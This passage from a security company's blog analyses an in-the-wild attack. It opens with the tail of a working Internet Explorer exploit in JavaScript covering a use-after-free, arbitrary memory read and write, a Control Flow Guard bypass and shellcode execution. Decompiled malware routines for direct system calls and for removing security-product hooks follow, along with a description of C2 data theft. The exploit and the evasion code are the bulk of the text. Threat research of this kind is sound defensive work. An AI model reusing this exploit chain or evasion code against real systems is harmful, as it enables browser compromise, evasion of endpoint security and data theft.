        return !isValidAddress;
    }
}
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})
var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})
var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})
var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})
var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})
var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})
var god
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
alert(result.toString(16))
</script>
</body>
</html>

Shellcode Analysis

The shellcode collects basic information about the infected target by transmitting the list of running processes, screen captures, and network interface information to C2 on the infected system, then downloads and executes additional encrypted malware from the C2 server in memory.

While we couldn't obtain the additional malware expected to perform privilege escalation attacks and major malicious activities, preventing us from revealing the detailed intent or results of the attack, the characteristics of the malware identified during analysis are as follows:

Direct System Call

context *__fastcall set_syscall_number(context *ctx)
{
  context *result; // rax
  _PEB *peb; // [rsp+20h] [rbp-18h]
  unsigned int buildNum; // [rsp+28h] [rbp-10h]

peb = *(getTeb() + 12);
  ctx->NtMapViewOfSection = 0x28;
  ctx->NtUnmapViewOfSection = 0x2A;
  ctx->NtProtectVirtualMemory = 0x50;
  ctx->NtQueryVirtualMemory = 0x23;
  ctx->NtOpenSection = 0x37;
  result = peb->OSBuildNumber;
  buildNum = peb->OSBuildNumber;
  if ( buildNum >= 7600 )
  {
    if ( peb->OSBuildNumber <= 7601u )
    {
      ctx->NtMapViewOfSection = 0x25;
      ctx->NtUnmapViewOfSection = 0x27;
      ctx->NtProtectVirtualMemory = 0x4D;
      ctx->NtQueryVirtualMemory = 0x20;
      result = ctx;
      ctx->NtOpenSection = 0x34;
    }
    else if ( buildNum == 9200 )
    {
      ctx->NtMapViewOfSection = 0x26;
      ctx->NtUnmapViewOfSection = 0x28;
      ctx->NtProtectVirtualMemory = 0x4E;
      ctx->NtQueryVirtualMemory = 0x21;
      result = ctx;
      ctx->NtOpenSection = 0x35;
    }
    else if ( buildNum == 9600 )
    {
      ctx->NtMapViewOfSection = 0x27;
      ctx->NtUnmapViewOfSection = 0x29;
      ctx->NtProtectVirtualMemory = 0x4F;
      ctx->NtQueryVirtualMemory = 0x22;
      result = ctx;
      ctx->NtOpenSection = 0x36;
    }
  }
  return result;
}

The shellcode uses direct system calls instead of using functions implemented in DLLs for major APIs. This is interpreted as an attempt to bypass detection by endpoint security products.

Disable User Mode Hook

_BOOL8 __fastcall unhook_system_dlls(context *ctx)
{
  char v2[16]; // [rsp+20h] [rbp-48h] BYREF
  char v3[16]; // [rsp+30h] [rbp-38h] BYREF
  char v4[16]; // [rsp+40h] [rbp-28h] BYREF

strcpy(v3, "ntdll.dll");
  strcpy(v4, "kernel32.dll");
  strcpy(v2, "kernelbase.dll");
  return unhook(ctx, v3) && unhook(ctx, v2) && unhook(ctx, v4);
}

It removes user mode hooks by copying originals of major system DLLs from the "\KnownDlls" directory to the current process. This is also interpreted as an attempt to bypass security products.

In Process DLL Hiding

The shellcode that began operating in a 32-bit IE process executes the "splwow64.exe" program to proceed with malicious activities in a 64-bit process. At this time, the malware loaded into the target process is positioned at an address offset by 0x1000 from the start address of a normal DLL, which appears to be an attempt to neutralize security products that detect based on DLLs mapped to processes.

Conclusion

In addition to using 0-day vulnerabilities in major software, this attack is characterized by the attacker preparing an SNS account disguised as a security researcher for a long period and utilizing it.

While computer technology is developing to prevent security vulnerabilities that are the root cause of hacking incidents, cyber attacks targeting careless human mistakes like this case are expected to occur frequently in the future.

Therefore, recognizing that potential security threats always exist behind the convenience of computers and the internet, and responding proactively, is the best approach to confronting real-world security issues.

EnkiWhiteHat

EnkiWhiteHat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before
a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

ENKI WhiteHat provides unparalleled security

with unrivaled expertise.

Contact

biz@enki.co.kr

+82 2-402-1337

167, Songpa-daero, Songpa-gu, Seoul, Republic of Korea
(Tera Tower Building B, Units 1214–1217)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.